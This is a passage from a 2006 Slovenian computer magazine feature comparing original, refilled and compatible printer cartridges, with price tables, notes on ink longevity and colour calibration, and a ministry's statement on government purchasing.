tega, kako uspešni so bili pri kopiranju. OBNOVLJENI Zadnjih nekaj let je na trgu mogoče zaslediti tudi obnovljene barvilnike, obnavljajo jih domača podjetja ali pa so uvoženi iz tujine. Najcenejši, kot je že običaj, prihajajo iz azijskih držav. Dejstvo je, da obnavljanje, ki pa ne more potekati v nedogled, najmanj obremenjuje okolje, zatorej je po svoje ekološko primerno opravilo, čeprav proizvajalci tiskalnikov zaradi nižjih cen neredko z jezo gledajo na to početje. Na žalost za uporabnike pa je kakovost obnavljanja dokaj nestalna in se spreminja od podjetja do podjetja. Tako na primer nekateri rabljen barvilnik popolnoma obnovijo, drugi pa le dodajo prah ali dolijejo črnilo. Kot na dlani je, kateri način zagotavlja višjo kakovost, vendar kupec tega ne mora vedeti, ko v trgovini kupuje izdelek. moj mikro | 2 | februar | 2006 V SREDIŠČU obnavljanje barvilnih kaset za brizgalne tiskalnike Nižje cene, manjša obstojnost »Tiskalniško občestvo« naše dežele največ cenovne prednosti vidi v obnovljivih oziroma združljivih tiskalniških kasetah. Še zlasti zato, ker jih morajo plačevati iz lastnega žepa, in to zaradi razmeroma majhnih količin barvil v kasetah tudi dokaj pogosto. Pišeta : Marjan Kodelja in Alan Orlič Belšak marjan.kodelja@mojmikro.si, alan.orlic@mojmikro.si Naše smeti končajo v državah tretjega sveta! 6-mesečni zamik Razumljivo je, da takoj po predstavitvi novega modela tiskalnika, ki prinaša novo oblikovane barvilnike ali nove tehnologije tiskanja, alternativa ni takoj na voljo. Potreben je določen čas, običajno 6 mesecev, da alternativci izdelajo konkurenčno ponudbo. EVROPSKA STANDARDIZACIJA Da bi bilo težav v prihodnje čim manj, je evropska standardizacijska organizacija CEN (Comité Europeén de Normalisation) tudi na pobudo izdelovalcev združljivih tiskalniških kaset začela postopek standardizacije barvil. V delovni skupini, ki je že pripravila osnutek standarda, so poleg izdelovalcev združljivih kaset tudi predstavniki neodvisnih ustanov in izdelovalcev originalnih kaset. Povsem jasno je, da bo standard zgolj in samo kompromis, zato je njegova glavna naloga, da zagotovi varno uporabo združljivih črnil in barvil, torej takšno, ki ne bo poškodovala tiskalnikov ali negativno vplivala na zdravje uporabnikov. Standard naj bi hkrati zagotovil, da bo uporabnik z ustrezno združljivo kaseto natisnil toliko strani, kot zagotavlja izdelovalec za originalno kaseto. Poudariti velja, da standard ne govori o kakovosti barvil ali njihovi sestavi niti o kakovosti izpisov in da naj uporabniki tudi po sprejemu standarda ne bi tiskali z barvili različnih izdelovalcev. Trenutno sprejeta delovna različica standarda je namenjena izdelovalcem barvil in črnil in bo naslednjih devet mesecev na nekakšni javni obravnavi po nacionalnih združenjih za standardizacijo. Morebitne pripombe bodo zbrali do konca poletja 2006, tako da je stvarno pričakovati začetek veljavnosti standarda v začetku leta 2007. Kdor bo izdeloval barvila, ki ustrezajo standardu, bo to lahko označil na embalaži, preizkuse pa bodo opravljale neodvisne ustanove.  O dločitev za pravo »alternativno ponudbo« pri barvilnih kasetah za brizgalne tiskalnike ni tako preprosta in brez posledic, kot je uporaba alternativnih barvilnih oz. črnilnih kaset za laserske tiskalnike. Treba je imeti znanje za pravilno umerjanje tiskalnika na nova barvila ali pa tiskati zgolj dokumente, kjer »pravilne« barve in barvni odtenki niso pomembni. Če pa vam je pomembna kakovost izpisa (s poudarkom na tiskanju fotografij), hkrati pa vam ni ljubo iskati ustreznih barvnih profilov (ICCprofilov) oziroma s pomočjo dodatnih naprav umerjati tiskalnik, potem vam ža ostane le kupovanje originalov. KEMIČNE TOVARNE Nekateri modeli brizgalnih tiskalnikov za domačo rabo so »sumljivo« poceni, kar sproži vrsto ugibanj, zakaj je tako. Odgovor je banalno preprost. Izdelovalec tiskalnika želi, da se kupec odloča na prvo žogo in izključno na podlagi cenenosti tiskalnika. Ne vsem na očem, pa vendarle tako »subvencionirajo« nakup, pričakovan dobiček ali celo več o tega pa nato obračunajo pri ceni kaset z barvili. Če imajo ti še malo barve in torej dopuščajo »malo« izpisanih strani, toliko bolje. Pomembno je, da bo kupec kar se da velikokrat zavil v trgovino. Jasno je, da so alternativni ponudniki ovira v takem razmišljanju, zato se proizvajalci originalov proti njim tako ali drugače bojujejo. Nekoč je pameten človek dejal, da izdelovalcev tiskalnikov ne moremo več uvrščati med predstavnike informacijske industrije, temveč med podjetja kemične industrije. In to je pravzaprav res. Razvoj barvil (ta pa so v kasetah) je veliko hitrejši kot razvoj tehnologije brizganja, ki je (tako vsaj pravijo nekateri) že prišla do stopnje, ko večjih in revolucionarnih sprememb ne moremo več pričakovati. Še več, tehnologije, s katerimi se »dičijo« najnovejši brizgalniki in s katerimi agresivno prepričujejo kupce, so v bistvu tehnologije barvil. Cilj vseh pa je seveda kar se da lep izpis, pa če ga uporabnik potrebuje ali ne. Kemične formule barvil oziroma dodatki v Najhitrejši je razvoj barvil njih, ki poskrbijo za lepše razlivanje na papirju, povečajo obstojnost izpisa ali pa povečajo njegov lesk, se praviloma zaščitijo vsaj z avtorskimi, če ne celo s patentnimi pravicami. To pomeni, da alternativni ponudniki združljivih ali obnovljivih kaset ne morejo napolniti z enakim barvilom, temveč le s takšnim, ki ima približno enake značilnosti. Čeprav »alternativno barvilo« skuša biti kemično čimbolj podobno originalnemu, mora biti malce drugačno, kar pomeni, da barva malce odstopa od originalne. V katero smer niti ni pomembno. DOPOLNJEVANJE KASET Z BARVILI Določeni proizvajalci (HP, Lexmark, Dell) imajo kasete z barvili sestavljeno tako, da je glava del kasete. Slednja naj bi zdržala le eno tiskanje (dokler se kaseta ne izprazni). A v praksi je tako, da jo je mogoče napolniti vsaj še enkrat, ne da bi zato trpela kakovost izpisa.V trgovinah je mogoče kupiti polnilne komplete, ki so dokaj poceni, so pa tudi prava packarija 17 V SREDIŠČU obnavljanje barvilnih kaset za brizgalne tiskalnike Primerjava med cenami originalnih, obnovljivih in združljivih kaset z barvili Brother Original Refill Pelikan BR LC-600BK BR LC-600C, M in Y BR LC-700 BK BR LC-700C, M in Y BR LC-800BK BR LC-800C, M in Y BR LC-900BK 5.715,60 2.998,80 5.232 2.998,80 4.849,20 2.667,60 4.849,20 2.160 1.920 3.000 2.520 2.640 2.280 3.600 - Pribor za domače polnjenje kaset z barvili − igle, brizgalke in močna barva lahko z nekaj nespretnosti pomenijo precejšnje težave. Za dopolnjevanje so bolj primernejše kasete, ki so brez glav (na primer Canonove), se pa tu lahko pojavlja nova težava: čip na kaseti, kamor tiskalnik zapiše, da je prazna. In če je enkrat prazna, bo tiskalnik vztrajno sporočal, da nima barvila, četudi smo kaseto napolnili. Skratka, na tem področju se proizvajalci brizgalnikov trudijo, da bi bili edini igralci v igri. Nekoliko drugače je svetu velikih tiskalnikov (A3+ in večji), kjer so prihranki na račun cenejših alternativnih barvil veliko večji. Tu cena ni vedno odločilna, večjo vlogo ima barvni razpon in kakovost barvila. Neodvisni test barvil mednarodne potrošniške organizacije je pokazal, da glavni magnet pri nakupu združljivih barvil ni nujno samo nizka cena. Pri primerjavi barvil za najbolj prodajane Epsonove in Canonove tiskalnike so namreč ugotovili, da je kar nekaj združljivih barvil kakovostno vsaj tako dobrih, če ne celo boljših od originalnih, pri čemer je prihranek pri nakupu lahko tudi več kot 40-odstoten. Zanimivo je, da je v primerjavi barvil za Hewlett-Packardove tiskalnike original precej boljši od združljivih konkurentov, hkrati pa je tudi cena združljivih barvil le do 20 odstotkov nižja od originalnih. OBNAVLJANJE KASET Z BARVILI Pravilni postopek obnove je zelo zahteven, zato podjetja za obnovo odkupujejo in obnavljajo le kasete, ki so bile le enkrat rabljene. Takšno kaseto je treba očistiti, s posebnim topilom očistiti brizgalne šobe in jo s posebno napravo ponovno napolniti. Polnjenje ni prav 18 Prihranek (original/Refill) v % 62 36 43 16 46 15 26 Epson Original Refill Pelikan EP T007401 EP T008401 EP T009401 EP T013401 EP T014401 EP T017401 EP T018401 EP T019401 EP T020401 EP T032140 EP T032240, 340 in 440 EP T03614 EP T037040 EP T038140 EP T039040 EP T040140 EP T041040 EP T042240, 340 in 440 EP T043140 EP T043140 EP T043240, 340 in 440 EP T045240, 340 in 440 EP T048140, 240, 340, 440, 540 in 640 6.819,60 5.527,20 7.998 4.998 6.625,20 9.486 7.893,60 9.486 8.222,40 10.998 4.599,60 3.120 3.120 4.200 1.560 2.388 3.240 3.840 1.800 2.388 5.280 3.000 3.375,60 3.300 4.998 2.190 3.600 - Prihranek (original/Refill) v % 54 44 47 69 64 66 51 81 71 52 35 3.990 5.653,20 4.926 6.900 10.998 9.250,80 4.616,40 2.760 3.480 2.760 3.480 2.760 3.360 3.120 2.475,60 3.525,60 4.425,60 4.350 2.774,40 31 38 44 50 75 64 32 9.546 5.245,20 3.990 4.320 3.840 2.640 5.265,60 3.915,60 2.275,20 55 27 34 2.988 2.400 - 20 4.420,80 2.760 2.774,40 38 zapleteno. Poglavitni del je čiščenje. Če to ni opravljeno temeljito, potem je vsa zadeva za v smeti, še preden ste jo sploh vstavili v tiskalnik. Tega se seveda zavedajo tudi proizvajalci neoriginalnih barvil, zato so zadnje čase pri tem dokaj temeljiti. Za vsak primer pa nudijo različno dolge garancije obnovljenih kaset. Te resda navadno niso prav dolge. Težava pri obnovljenih kasetah je, kako zaščititi brizgalne šobe. Pri originalnih, torej novih kasetah za to poskrbi poseben lepilni trak. Tega načina zaščite se je lotilo kar nekaj podjetij, drugim pa to še ne uspeva. Tako so kasete opremljene s posebnimi zaščitnimi pokrovčki, ki preprečujejo uhajanje črnila med skladiščenjem. Življenjska doba skladiščenih obnovljenih kaset je kljub vsemu trudu načeloma krajša kot pri originalnih. TEŽAVE PRI TISKANJU FOTOGRAFIJ Z NEORIGINALNIMI BARVILI Proizvajalci tiskalnikov za svoje brizgalnike pripravijo barvila, ki dajo z ustreznim barvnim profilom za določeno vrsto papirja najboljše rezultate. Drugače povedano, umerijo (kalibrirajo) tiskalnik in papir. Različne vrste papirja (npr. foto ali navaden) se na črnilo različno odzovejo in tudi barve lahko odstopajo, zato imajo za različne papirje različne barvne opise. Načeloma je najboljše tiskati na originalen papir (govorimo o tiskanju fotografij), čeprav je mogoče brez težav tiskati tudi na papirje drugih ponudnikov. Tisti boljši recimo naredijo svoje barvne opise za svoje papirje, ki ustrezajo določenemu tiskalniku. Kot smo omenili, so alternativna barvila podobna originalnim, a od njih kljub temu nekoliko odstopajo. Pri izpisu fotografij se to pozna v nekoliko drugačni barvah in barvnih odtenkih (dostikrat to ni vidno s prostim očesom oziroma to zazna le profesionalni uporabnik), kot bi jih dobili z originalnim črnilnikom. Če alternativni proizvajalec barvilnikov izdelkom priloži barvne opise (ICC profile), je možno ta problem enostavno rešiti tako, da v gonilniku Na kaj je treba še posebej paziti? Ko se odločite za nakup združljive ali obnovljene kasete z barvilom vam toplo svetujemo, da upoštevate dve pravili: 1. Večina brizgalnikov ima več kaset z barvili in nikakor ne smemo z alternativno kaseto zamenjati zgolj eno, ki se nam je izpraznila. Zamenjati morate vse in vsi morajo biti od istega ponudnika in morajo biti namenjeni za model tiskalnika, ki ga uporabljate. 2. Ker kemično alternativna barvila niso popolnoma enaka originalom, tudi barva na papirju običajno ni. V ta namen je treba tiskalnik umeriti: preprosto »na oko« s programom, ki ste ga morebiti dobili skupaj s tiskalnikom (oziroma je orodje vključeno v gonilnik), ali s posebno napravo za umerjanje. Če tega ne boste naredili, bodoči izpisi ne bodo enaki izpisom, ki so vam jih zagotavljala originalna barvila. moj mikro | 2 | februar | 2006 V SREDIŠČU obnavljanje barvilnih kaset za brizgalne tiskalnike HP Original Refill Pelikan HP 51625A HP 51626A HP 51629A HP 51640A HP 51640C, Y in M HP 51641A HP 51645A HP 51649A HP C1823D HP C4836A, 37A in 38A HP C4841A, 42A, in 43A HP C4844A HP C5010A HP C5011A HP C6578A HP C6614D HP C6615D HP C6625A HP C6656A HP C6657A 7.293,60 7.291,20 6.979,20 6.979,20 7.396,80 7.605,60 6.958,80 7.293,60 7.923,60 7.604,40 6.600 5.880 5.880 5.880 5.880 6.600 5.800 5.880 6.600 6.120 5.121,60 4.950 6.300 4.500 4.998 5.490 - Prihranek (original/Refill) v % 10 19 16 16 21 13 17 19 17 20 7.708,80 6.240 - 19 7.916,40 7.603,20 5.833,20 7.971,60 6.873,60 6.814,80 7.498,80 4.719,60 7.652,40 6.480 5.880 4.400 7.800 5.880 5.880 6.600 4.200 6.840 4.500 4.574,40 5.988 6.824,40 18 23 25 2 14 14 12 11 11 Canon Original Refill Pelikan CA BX-2 CA BC-02 CA BC-05 CA BC-20 CA BX-20 CA BCI-21bk CA BCI-21c CA BCI-24bk CA BCI-24c CA BCI-6c CA BCI-11bk CA BCI-11c CA BCI-15bk CA BCI-15c 9.536,40 7.938 9.900 10.602 9.536,40 2.258,40 5.820 2.216,40 4.852,80 2.973,60 3.240 5.988 5.721,60 8.919,60 4.800 5.400 6.600 5.880 5.880 1.020 1.548 1.548 1.788 1.680 2.280 3.600 2.400 3.360 1.072,80 1.971,60 - Prihranek (original/Refill) v % 50 32 33 45 38 55 73 30 63 44 30 40 58 62 Potencialni prihranki Kako velik je prihranek, je tudi tu odvisno od modela tiskalnika. V spodnji tabeli smo zbrali primerjavo med cenami originalnih, obnovljivih in združljivih kaset z barvili. Opozarjamo, da gre v tem primeru za priporočene cene tako na eni kot na drugi strani, zato dopuščamo, da so dejanske cene na trgu še nekoliko nižje. Cene originalov in ponudbo blagovne znamke Pelikan smo našli na spletni trgovini Enaa.com, cene obnovljivih črnilnikov pa iz cenika podjetja Refill. Prihranek v zadnjem stolpcu pomeni razliko v odstotkih med cenami originalne in obnovljene kasete. preprosto izberete pravi profil. Če tega ni in profila ni mogoče nikjer dobiti, potem je alternativni barvilnik primeren predvsem za poslovno grafiko (grafikoni, manj zahtevne slike ...), kjer barve niso toliko pomembne, predvsem pa je pomembna cena. OBSTOJNOST POCENI BARVIL Ugotavljanje, ali so alternativna barvila enako obstojna kot originalna, je zamudno opravilo. Ves natisnjen material bi bilo treba izpostaviti Nastavitev barvnega profila tiskalnika Največje izgube imamo pri prevodu iz računalniškega formata RGB v tiskalniški barvni prostor CMYK. Vsaka kombinacija barvilo−papir nam bo dala drugačen videz barv in v gonilniku tiskalnika imamo ponavadi navedenih le nekaj možnosti – običajno kombinacij, ki ustrezajo proizvajalčevi znamki papirja in črnila. Kadarkoli tiskamo na drugačne papirje ali z drugačnimi barvili, kot jih priporoča proizvajalec, je priporočljivo izdelati barvni profil, ki ustreza določenemu tiskalniku. To omogoča program za spreminjanje barv – običajno je to v okolju Windows Microsoftov ICM ali še bolje Adobov ACE – iz enega barvnega prostora v drugi. Barvni ICC-profil tiskalnika dobimo tako, da odtisnemo vzorec, ki ima točno določene vrednosti. Te vrednosti izmerimo s spektrofotometrom in jih pretvorimo v ustrezen zapis, za kar običajno poskrbijo programi, priloženi spektrofotometru. Nekatere naprave odčitajo vzorce samodejno, druge ročno. V nekaterih primerih imamo vzorce s 15 ali 25 barvnimi odtenki, v drugih pa take z več kakor 700 odtenki. Več jih je, natančnejši je profil in dlje časa trajajo meritve. 150 vzorcev je običajno dovolj, da izdelamo zelo dober ICC-profil svojega tiskalnika. Ta profil lahko pripnemo datoteki v Photoshopu z ukazom View/ Proof setup/ Custom/ Naše ime profila, in če nam tiskalnik dovoli izklop njegovih podprogramov, lahko na zaslonu vidimo in uredimo precej točen barvni videz končne slike.  Raziskave so pokazale, da so poceni (neoriginalna) barvila bistveno manj obstojna kot originalna. sončni svetlobi oziroma razmeram, ki so jim izpostavljene fotografije tudi sicer, in čakati na spremembe, pri tem pa hraniti kopijo vsakega odtisa v omari in po določenem času izvesti primerjavo. Ker bi bilo takšno čakanje predolgo, si tega seveda doma ne privoščimo. Zato so se tega lotile različne neodvisne institucije, ki preverjajo obstojnost črnil. Opremljene so s posebnimi komorami, kjer fotografije umetno starajo. Izpostavljajo jih UV-sevanju in različnim temperaturam. S tem v nekaj urah dosežejo staranje, primerljivo z leti, ko bi fotografija visela v domači dnevni sobi. V laboratoriju Wilhelm Imaging Research (www.wilhelm-research.com) so preizkusili kar nekaj barvil, ki se prodajajo po svetu. Njihovi izsledki kažejo, da so poceni (neoriginalna) barvila bistveno manj obstojna kot originalna. Seveda so bila od enega do drugega proizvajalca »ponaredkov« precejšnja odstopanja. V glavnem 19 V SREDIŠČU obnavljanje barvilnih kaset za brizgalne tiskalnike  Neodvisni test barvil mednarodne potrošniške organizacije je pokazal, da glavni magnet pri nakupu združljivih barvil ni nujno samo nizka cena, saj je kar nekaj združljivih barvil kakovostno na ravni originalnih, ob tem pa so tudi do 40 in več odstotkov cenejša. pa so bila originalna črnila obstojna nekaj deset let, alternativna pa le nekaj let. Tega neposredno sicer ne moremo uporabiti in iz tega izpeljati trditve, da so vsa poceni črnila manj obstojna. Ker proizvajalci alternativnih črnil le stežka kopirajo originalna in obdržijo nizko ceno, pa bi lahko dokaj varno sklepali, da je pri večini tako. In koliko je v resnici obstojnost izpisa pomembna? Ni dvoma, da je. Natisnjeno fotografijo želimo v nespremenjenem stanju veliko let. Idealno bi bilo, če bi takšna ostala večno. To se seveda ne bo zgodilo. Z leti bo vsaka fotografija zbledela ali se bo porušilo razmerje barv. Po drugi strani pa je tudi res, da imamo original v digitalni obliki, ki se pravilno shranjen ne stara in, razen če ga izgubimo zaradi okvare strojne opreme ali recimo optičnega medija, lahko fotografijo natisnemo znova in znova in znova. Zadeva sicer ni poceni, a to je kljub vsemu bolje kot gledati zbledelo sliko.  20 Primerjava med cenami originalnih, obnovljivih in združljivih kaset (tonerji) HP Original Refill Pelikan Prihranek (original/ Refill) v % HP 92274A HP 92275A HP 92291A HP 92295A HP 92298A HP 92298X HP C3900A HP C3903A HP C3906A HP C3909A HP C4092A HP C4096A HP C4127A HP C4127X HP C4129X HP C4182X HP C4191A HP C4192A, 93A in 94A HP C4195A HP C7115A HP C7115X HP C8061A HP C8061X HP C9700A HP C9701A, 02A in 03A HP C9704A HP C9720A HP C9721A, 22A, 23A in 30A HP C9731A, 32A in 33A HP Q1338A HP Q1339A HP Q2610A HP Q2612A HP Q2613A HP Q2624A HP Q2670A HP Q2671A, 72A in 73A HP Q2681A, 82A in 83A HP Q3960A HP Q3961A, 62A in 63A HP Q3964A HP Q5942A HP Q5942X HP Q5949A HP Q5949X HP Q6511A HP Q6511X Brother BR TN-200 BR TN-3030 BR TN-3060 BR TN-6600 BR TN-7600 BR TN-8000 BR DR-7000 BR DR-6000 Kyocera KY TK-17 KY TK-18 KY TK-50 KY TK-55 KY TK-60 KY TK-65 24.292,80 27.957,60 34.717,20 26.353,20 23.642,40 24.633,60 37.998 19.998 15.352,80 42.990 12.990 22.602 22.394,40 28.645,20 36.768 44.269,20 19.998 31.353,60 19.372,80 13.958,40 16.998 23.988 28.645,20 19.374 23.436 42.290,40 39.477,60 53.331,60 72.912 35.988 52.288,80 27.990 16.666,80 16.874,40 18.750 33.540 32.988 42.990 24.990 24.990 42.290,40 38.955,60 58.954,80 18.750 33.990 32.394 54.373,20 13.920 16.920 21.960 15.600 15.600 18.000 24.600 14.400 10.920 34.800 10.800 18.000 19.800 23.400 29.880 37.200 18.000 25.200 17.400 12.000 15.600 20.400 25.800 16.200 19.200 34.800 32.400 43.200 60.000 31.200 42.000 22.800 13.320 15.000 14.400 26.400 26.280 33.600 17.400 20.400 34.800 30.000 45.600 16.200 28.200 26.400 44.000 13.275,60 13.417,20 11.988 13.998 14.988 22.425,60 11.925,60 8.988 26.624,40 8.925,60 15.675,60 13.998 17.250 24.300 26.988 9.675,60 12.674,40 16.500 22.425,60 18.990 29.988 34.425,60 26.250 34.425,60 19.998 12.600 12.742,80 13.998 25.998 - 43 39 37 41 34 27 35 28 29 19 17 20 12 18 19 16 10 20 10 14 8 15 10 16 18 18 18 19 18 13 20 19 20 11 23 21 20 22 30 18 18 23 23 14 17 19 19 14.988 16.312,80 20.988 19.998 19.998 7.762,80 38.812,80 38.475,60 6.600 13.800 16.800 14.400 17.400 6.240 28.800 25.200 13.425,60 13.498,80 13.498,80 4.998 - 56 15 20 28 13 20 26 35 19.998 19.998 24.990 27.940,80 24.758,40 32.404,80 15.000 16.200 20.400 20.400 20.400 22.200 - 25 19 18 27 18 31 V SREDIŠČU obnavljanje barvilnih kaset za laserske tiskalnike Boj za poslovni svet Laserski tiskalniki večinoma (še) niso našli svojega mesta v naših domovih, so pa veliko pogostejši v podjetjih. Prihranek pri nakupi obnovljene kasete s črnilom oz. barvilom je občuten že, če ga kupite v trgovini, še veliko večji pa je, če ste dovolj veliki, da s podjetjem, ki kasete obnavlja, sklenete poslovni dogovor. Pišeta : Marjan Kodelja in Zoran Banovič marjan.kodelja@mojmikro.si, zoran.banovic@mojmikro.si V  Obnavljanje kaset se, kot kaže, splača. Nakup obnovljene kasete prinese najmanj 25-odstotni prihranek, večje podjetje pa lahko doseže še precej ugodnejši dogovor. slednjem primeru, odvisno o tega, kako spretni boste pri dogovarjanju, koliko »posla« boste prinesli in kakšne tiskalnike imate, lahko prihranki dosežejo tudi 50 odstotkov. Podatki po svetu kažejo, da nakup obnovljene kasete prinese najmanj 25-odstotni prihranek. Kot zanimivost naj navedemo, da je veliko (za slovenske razmere) podjetje v enem letu na ta račun prihranilo tri milijone tolarjev. Še nekaj kaže v prepričate, kako obnova poteka. Če ste seveprid dolgoročnemu dogovoru. Znano je, da da dovolj velika potencialna stranka, da vam podjetja za obnovo kaset odkupujejo le enkrat ogled omogočijo. Kot v veliko primerih je tudi rabljene kasete, ki jih nato kot obnovljene pro- tu pomembno, kakšen ugled si je podjetju za dajajo pod svojo blagovno znamko. V primeru obnovo uspelo ustvariti na trgu dolgoročnega sodelovanja pa vam lahko toner obKje lahko nastanejo težave novijo večkrat. Število obnov pa je odvisno od Največja težava pri obnavljanju tiskalniških kaset je povezana s vdelanih materialov (povkakovostjo prahu (ali so vsi delci enako veliki) in njegovo količiprečno tudi do 7-krat). no. Če prah ni kakovosten, se to pozna pri izpisu, drugi dejavnik pa se pokaže pri dejstvu, da obnovljene kasete ne zagotavljajo KOMU enakega števila izpisov kot originalni. V tem primeru je težko ZAUPATI? govoriti, da so obnovljene kasete cenejše od originalov. Podjetja za obnovo se med seboj razlikujejo po trudu, ki ga vložijo v obnovo. Ker še ni stan- OBNOVA KASETE V PRAKSI darda, ki bi jasno določal, kaj je treba storiti V praksi je pravi način obnove kasete dooziroma omogočal ločevanja zrnja od plev, kaj zamudno opravilo. Staro kaseto je treba v uporabniki le stežka ocenimo, kateri ponudnik celoti razstaviti in dobro očistiti. Preveriti je je dober in kateri ne. Razmere so toliko težav- treba izrabo (stanje) vseh delov in tiste, ki niso nejše, ker odločanje po metodi preizkušanja ni dovolj dobri, zamenjati z novimi. Nekateri najbolj priporočljivo. Težave, ki lahko nastane- »obnovitelji« vedno zamenjajo valj (imaging jo zaradi nekakovostnega izpisa ali celo okvare drum) in mehanizem za odstranjevanje odvečtiskalnika, so preprosto prevelika ovira. Neko- nega prahu (wiper blade), drugi to storijo zgolj liko lažje je, če se odločite za domače podjetje po potrebi (takšni obnovljeni tonerji so najza obnovo, saj se pri njem lahko na svoje oči cenejši). Gre torej za dve kakovostni stopnji obnove, pri čemer mora biti stopnja obnove na obnovljivi kaseti označena. Če je obnova Potencialni prihranki popolna, ne bi smelo priti do različnih kakoKolikšen je prihranek, je močno odvisno od znamke vosti izpisa in obnovljena kaseta bi morala doin modela laserskega tiskalnika. V spodnji tabeli smo segati enako kakovost izpisa kot originalni. Po zbrali primerjavo med cenami originalnih, obnovljivih in očiščenju in zamenjavi izrabljenih delov sledi združljivih tiskalniških kaset. Opozarjamo, da gre v tem primeru za priporočene cene tako na eni, kot na drugi polnjenje kasete s prahom (barvilom). Kot zastrani, zato dopuščamo, da so dejanske cene na trgu dnji korak sledi še preizkus delovanja. Takšen še nekoliko nižje. Cene originalov in ponudbo blagovne je pravi postopek. Nikakor pa ni pravilno, če znamke Pelikan smo našli na spletni trgovini Enaa.com, obnavljanje vključuje zgolj polnjenje kasete cene obnovljivih kaset pa iz cenika podjetja Refill. Pri(in morda površno zunanje čiščenje), kar je cehranek v zadnjem stolpcu pomeni razliko v odstotkih novno sicer lahko vabljivo, a je kakovost tako med cenami originalne in obnovljene kasete. (tabela na levi strani) obnovljenega slaba. Obnavljanje laserskih tiskalnih kaset bo tudi v bodoče dobra poslovna priložnost, vsaj zaradi dveh dejstev. Vse bolj so namreč priljubljeni barvni laserski tiskalniki, ki cenovno niso več tako odmaknjeni od kakovostnejših brizgalnikov, hkrati pa omogočajo nižje stroške na izpis strani. Po drugi strani pa padajo cene tudi običajnim laserjem, kar jim daje priložnost na trgu domačih uporabnikov. Ti pa so veliko občutljivejši na cene potrošnega materiala, kot so glede tega občutljiva podjetja.  21 V SREDIŠČU državna uprava in alternativni ponudniki Kaj pa varčevanje? V Italiji velja pravilo, da mora njihova državna uprava vsaj 30 odstotkov pisalnih medijev kupiti pri alternativnih ponudnikih. Kako je s tem pri nas, ko ni pravila in je država doslej kupovala izključno originale? Iz ministrstva za javno upravo so nam na naše vprašanje izčrpno odgovorili. Piše : Marjan Kodelja marjan.kodelja@mojmikro.si Navajamo njihov odgovor: »Tonerji, barvila ter voski so pakirani v kasetah ali valjih in se v celoti obravnavajo kot potrošni material. Kot dobri gospodarji se na Ministrstvu za javno upravo držimo priporočil proizvajalca in priporočamo uporabo originalnega potrošnega materiala, kajti v primeru okvare tiskalnika le-temu zapade garancija, če se ugotovi nepravilna uporaba ali uporaba neustreznega potrošnega materiala. Poleg tega proizvajalec potrošnega materiala tudi predpiše minimalno število natisnjenih strani, ki jih je z eno enoto mogoče narediti, medtem ko »domači polnilci« tega ne zagotavljajo. Pri tem je potrebno pogledati na dva problema, če vzamemo za primer laserske tiskalnike: • potrošni material sestavlja toner, vložen v ustrezno kartušo z valji. Originalno izdelana kartuša je optimalno napolnjena s tonerjem, ki skupaj z vsemi pomičnimi deli zagotavlja nekaj tisoč natisnjenih strani (skladno z deklaracijo proizvajalca). Poraba tonerja pomeni tudi izrabo vrtečih se delov (bobni, valji, zobniki). Če se taka kartuša ponovno napolni in se ne zamenja tudi iztrošenih vrtečih se delov, se pri uporabi ne tvega samo slabša kakovost tiskanja, temveč tudi fizična poškodba osnovnega sredstva zaradi obrabe in neustreznih toleranc zobnikov. • originalno pakirane kartuše vsebujejo kemično gojene tonerje, kar pomeni, da so vsi delci v prahu enako veliki. Tonerji, ki se dobijo na trgu namenjeni za »re-fill«, pa so pogosto pridobljeni z mletjem kristalov, ki pa pri iztrošenih mlinih ne zagotavljajo enako velikih delcev. Pri uporabi tintnih tiskalnikov, se še lahko tolerira »re-fill«, kadar ne gre za vrteče se dele, čeprav proizvajalci to odsvetujejo. Vendar je cena polnjenja kartuše z barvo na trgu že zelo podobna ceni nove originalne kartuše, zato se uporabniki pogosteje odločijo za nakup slednje. V primeru uporabe »piezo« glav pa ima tudi ta svojo življenjsko dobo. Pri uporabi voskov nismo zaznali ponudbe na domačem trgu. Za uporabnike in lastnike tiskalnika je pomembno: • zagotavljanje deklariranega števila natisnjenih strani ob enaki kakovosti, • ohranjanje življenjske dobe tiskalnika, zlasti pa • ohranitev garancije tiskalnika. Ob odločitvi nakupa neoriginalnega potrošnega materiala, je potrebno pretehtati vse tri navedene zahteve. Glede na oceno stanja na trgu, kjer je cena polnjenja kartuše z barvo že zelo podobna ceni nove originalne kartuše menimo, da izračun potencialnega prihranka in neposredna primerjava, ob upoštevanju prej naštetih prednosti uporabe originalnih kartuš, ni smiselna, saj bi lahko zaradi morebitnih okvar tiskalnikov ob uporabi neoriginalnih kartuš nastali stroški. V letu 2004 je bilo izvedeno skupno javno naročilo (ne po sklepu vlade, ampak na osnovi prejetih pooblastil državnih organov) za nabavo pisarniškega materiala in tonerjev. Na osnovi tega sta bili sklenjeni dve krovni pogodbi z dobaviteljem pisarniškega materiala in z dobaviteljem tonerjev za vse organe, ki so nam pooblastila posredovali. Ta pogodba je še aktualna in se izteče konec marca 2006. V tem trenutku potekajo zadnje priprave za novo skupno javno naročilo (predlog za sprejem sklepa je v vladni proceduri), s katerim bomo za prihodnje obdobje na podoben način uredili nabavo tonerjev in pisarniškega materiala.« 22 naše mnenje Malo sprememb v enem letu Seveda, in kot je običaj, zdaj pričakujete od nas, da vam kot strokovni medij podamo en sam predlog, po možnosti z imenom podjetja in cenami, kako se odločati. Žal vam tega ne moremo dati, in kdor trdi nasprotno, laže. Tudi, če bi se odločili za natančno testiranje, umerjanje tiskalnikov in nato preglede pod mikroskopom, vam to ne bo kaj dosti pomagalo. To smo naredili pred enim letom, natančneje v maja 2005, članek pa lahko najdete tudi na naši spletni strani. Takrat smo natisnili enake strani s HP-jevim tiskalnikom in različnimi alternativnimi barvili zanj (obnovljenimi in združljivimi). Na teh primerih nam je uspelo dokazati, da razlike obstajajo, vendar po drugi strani tudi, da so bile majhne. Kako je torej mogoče preveriti kakovost barvila? Realen test bi bil tiskanje fotografij in izpis besedil v daljšem časovnem obdobju z velikim številom porabljenih kartuš in goro potiskanega papirja. Med testom bi potem šteli, kolikokrat se je glava zamašila in kako »temeljito«. Seveda bi enak test morali izvesti z vsemi testiranimi kartušami, tudi originalnimi, ki bi pomenile referenčno vrednost. Izberite pravo kaseto z barvilom Potem bi primerjali število napak in ocenili kakovost črnil oz. barvil oziroma vsaj njihov vpliv na brizgalne šobe. Si lahko predstavljate, koliko časa bi bilo potrebno in kako navdušeno bi sodelovali vsi ponudniki barvil. Torej bo treba ugotoviti kako in kaj skozi uporabo. Tukaj je vsak uporabnik sam. In če imate težave z določenimi kartušami, lahko še vedno zamenjate proizvajalca. V zadnjem letu se razmere na trgu niso veliko spremenile. Še vedno so na enem bregu originali in na drugem vse ostalo, s tem da so slednji veliko manj medijsko prisotni. 